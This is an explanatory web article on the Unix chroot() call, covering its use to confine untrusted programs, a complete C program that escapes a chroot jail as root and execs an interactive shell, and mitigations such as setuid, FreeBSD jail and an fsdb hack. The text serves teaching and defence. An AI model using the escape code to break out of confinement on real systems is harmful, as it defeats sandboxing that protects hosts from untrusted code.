This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented.
An introduction to chroot()
chroot() is a Unix system call that is often used to provide an additional layer of security when untrusted programs are run. The kernel on Unix varients which support chroot() maintain a note of the root directory each process on the system has. Generally this is "/", but the chroot() system call can change this. When chroot() is successfully called, the calling process has its idea of the root directory changed to the directory given as the argument to chroot(). For example after the following line of code, the process would see the directory "/foo/bar" as its root directory.
chdir("/foo/bar");
chroot("/foo/bar");
Important: When using chroot() in anger you need more than the above code; see below for details.
Note the use of the chdir() call before the chroot() call. This is to ensure that the working directory of the process is within the chroot()ed area before the chroot() call takes place. This is due to most implementations of chroot() not changing the working directory of the process to within the directory the process is now chroot()ed in.
This means that after the chroot() call, an open("/",O_RDONLY) would open the same directory as an open("/foo/bar",O_RDONLY) call before the chroot().
Due to the change in the root directory, the area which a chroot()ed program lives in will require various files and programs for sane operation. For example, the following files are required for the sane operation of the basic shell interpreter sh within a chroot()ed environment.
File Usage
/bin/sh The binary for sh
/usr/ld.so.1 Dynamically link in the shared object libraries
/dev/zero Ensuring that the pages of memory used by shared objects are clear
/usr/lib/libc.so.1 The general C library
/usr/lib/libdl.so.1 The dynamic linking access library
/usr/lib/libw.so.1 Internationalisation library
/usr/lib/libintl.so.1 Internationalisation library
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 "rocessor Specific Runtime" - contains replacements for certain library functions (i.e. memcpy) hand coded in faster assembly.
It should be noted that the more complex and larger a program gets, the more support files it will use. For example, perl requires a very large number of files and directories to work within a chroot()ed environment - 2610 files and 192 directories for a reasonable installation.
--------------------------------------------------------------------------------
Breaking chroot()
Whilst chroot() is reasonably secure, a program can escape from its trap. So long as a program is run with root (ie UID 0) privilages it can be used to break out of a chroot()ed area. For a user to do this, they would need access to:
C compiler or a Perl interpreter
Security holes to gain root access
It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining a chroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.
To break out of a chroot()ed area, a program should do the following:
Create a temporary directory in its current working directory
Open the current working directory
Note: only required if chroot() changes the calling program's working directory.
Change the root directory of the process to the temporary directory using chroot().
Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area.
Note: only required if chroot() changes the calling program's working directory.
Perform chdir("..") calls many times to move the current working directory into the real root directory.
Change the root directory of the process to the current working directory, the real root directory, using chroot(".")
Once the above has been done, the program can run functions as required. A natural function would be to exec() a command interpreter like sh over the current program. The following C program is an example of the attack outlined above. A Perl version is possible, although it is not shown below.
The following code is known to work under Solaris and Linux. It is likely to work under most (if not all) Unix varients which have the chroot() system call thanks to how it works[1].
Breaking chroot()
001 #include <stdio.h>
002 #include <errno.h>
003 #include <fcntl.h>
004 #include <string.h>
005 #include <unistd.h>
006 #include <sys/stat.h>
007 #include <sys/types.h>
008
009 /*
010 ** You should set NEED_FCHDIR to 1 if the chroot() on your
011 ** system changes the working directory of the calling
012 ** process to the same directory as the process was chroot()ed
013 ** to.
014 **
015 ** It is known that you do not need to set this value if you
016 ** running on Solaris 2.7 and below.
017 **
018 */
019 #define NEED_FCHDIR 0
020
021 #define TEMP_DIR "waterbuffalo"
022
023 /* Break out of a chroot() environment in C */
024
025 int main() {
026 int x; /* Used to move up a directory tree */
027 int done=0; /* Are we done yet ? */
028 #ifdef NEED_FCHDIR
029 int dir_fd; /* File descriptor to directory */
030 #endif
031 struct stat sbuf; /* The stat() buffer */
032
033 /*
034 ** First we create the temporary directory if it doesn't exist
035 */
036 if (stat(TEMP_DIR,&sbuf)<0) {
037 if (errno==ENOENT) {
038 if (mkdir(TEMP_DIR,0755)<0) {
039 fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
040 strerror(errno));
041 exit(1);
042 }
043 } else {
044 fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
045 strerror(errno));
046 exit(1);
047 }
048 } else if (!S_ISDIR(sbuf.st_mode)) {
049 fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
050 exit(1);
051 }
052
053 #ifdef NEED_FCHDIR
054 /*
055 ** Now we open the current working directory
056 **
057 ** Note: Only required if chroot() changes the calling program's
058 ** working directory to the directory given to chroot().
059 **
060 */
061 if ((dir_fd=open(".",O_RDONLY))<0) {
062 fprintf(stderr,"Failed to open "." for reading - %s\n",
063 strerror(errno));
064 exit(1);
065 }
066 #endif
067
068 /*
069 ** Next we chroot() to the temporary directory
070 */
071 if (chroot(TEMP_DIR)<0) {
072 fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
073 strerror(errno));
074 exit(1);
075 }
076
077 #ifdef NEED_FCHDIR
078 /*
079 ** Partially break out of the chroot by doing an fchdir()
080 **
081 ** This only partially breaks out of the chroot() since whilst
082 ** our current working directory is outside of the chroot() jail,
083 ** our root directory is still within it. Thus anything which refers
084 ** to "/" will refer to files under the chroot() point.
085 **
086 ** Note: Only required if chroot() changes the calling program's
087 ** working directory to the directory given to chroot().
088 **
089 */
090 if (fchdir(dir_fd)<0) {
091 fprintf(stderr,"Failed to fchdir - %s\n",
092 strerror(errno));
093 exit(1);
094 }
095 close(dir_fd);
096 #endif
097
098 /*
099 ** Completely break out of the chroot by recursing up the directory
100 ** tree and doing a chroot to the current working directory (which will
101 ** be the real "/" at that point). We just do a chdir("..") lots of
102 ** times (1024 times for luck . If we hit the real root directory before
103 ** we have finished the loop below it doesn't matter as .. in the root
104 ** directory is the same as . in the root.
105 **
106 ** We do the final break out by doing a chroot(".") which sets the root
107 ** directory to the current working directory - at this point the real
108 ** root directory.
109 */
110 for(x=0;x<1024;x++) {
111 chdir("..");
112 }
113 chroot(".");
114
115 /*
116 ** We're finally out - so exec a shell in interactive mode
117 */
118 if (execl("/bin/sh","-i",NULL)<0) {
119 fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
120 exit(1);
121 }
122 }
This topic has been discussed on the security column of SunWorld Online which is written by Carole Fennelly; the August 1999 and January 1999 editions cover most of the chroot() topics. In the August 1999 edition Carole goes into how to prevent the attack above from working - the method is a nasty hack involving fsdb (the file system debugger) and a temporary file system[2]. Basically the method involves fixing the ".." link at the root of the temporary file system so that it points to the root of the file system in much the same way that ".." at the root directory does.
It should be noted that the attack above is quite well known. The fact that it was possible[3] was alleuded to in "An evening with Berferd"[4] An exploit[5] against the wu-ftpd FTP daemon was also posted to the BugTraq mailing list on 1999-03-25. The post containing the exploit is held within the BugTraq archives - see http://www.securityfocus.com/archive/1/12962 for details.
Finally it should be noted that not all version of Unix are vulnerable to this attack. FreeBSD 4.x and above have a better chroot() system call. It can be made to fail if the process has any file descriptors open on a directory. This works by stopping the attack above which essentially works due to a file handle being open on a directory.
Have a look at the FreeBSD 4.x manual page for chroot() for more details. Also have a look at the manual page for jail() which uses chroot() and can limit a process further under FreeBSD.
Coding with chroot() in anger
A very important aspect of writing secure code is the principle of "least privilage". That is, the code should run as the least powerful user which is able to do the task required.
The call to chroot() is normally used to ensure that code run after it can only access files at or below a given directory. Originally, chroot() was used to test systems software in a safe environment. It is now generally used to lock users into an area of the file system so that they can not look at or affect the important parts of the system they are on. For example, the most common use of chroot() is ensuring that when user of an anonymous FTP site can not view important system configuration files[6]
This normally means that the user will not be running as root. If this is the case the call to chroot() should look something like the following:
chdir("/foo/bar");
chroot("/foo/bar");
setuid(non zero UID);
Where non zero UID is the UID the user should be using. This should be a value other than 0, i.e. not the root user. If this is done there should be no way to gain root privilages unless an attacker uses something within the chroot() jail to gain those privilages.
The seteuid() call should not be used if it can be helped as this does not change the real UID of the process, only its effective UID. It is possible of a process which has a real UID of 0 to do a seteuid(0) to regain root privilages even if its effective UID is not 0 - its the real UID which matters.
There are some cases where it is not easily possible to make use of the setuid() call. In these cases, seteuid() could be looked at. However the developer has to bear in mind that it is a simple hop-skip-seteuid(0) for a process to regain its root privilages and then use the method above to break out of the chroot() jail. The only real reason for making use of the seteuid() call is if the process needs to do something as root on behalf of the user. One example of this is the use of PASV FTP connections as the FTP server will often use ports in the range of 1 to 1024 which requires root privilages.
Such situations can be coded around, however they tend to have their own problems as well.
--------------------------------------------------------------------------------
[1] The root directory (i.e. /) is stored within each process's entry in the process table. All the chroot() system call does is to change the location of the root directory for that process.
Under Solaris the location of the root directory is stored in the user structure as a pointer to a vnode structure. i.e. user.u_rdir is a struct vnode *. The user structure, available from /usr/include/sys/user.h, can be found by referencing the p_user entry in the proc structure which even process is given. See /usr/include/sys/proc.h for details of the proc structure.
[2] It involves a temporary file system as fsck would complain bitterly if it was run over a file system which had this protection method run over it.
[3] Which got me thinking in the first place about how you could do the above
[4] "An evening with Berford in which a Cracker is Lured, Endured and Studied" is a document written by Bill Cheswick which cronicles a crackers actitivies after being lured in a chroot()ed padded cell. The PostScript for this document is available (note that it is 80Kb in size).
[5] The realpath() buffer over-run is used in this one
[6] i.e. /etc/passwd on systems which do not use a shadow password file |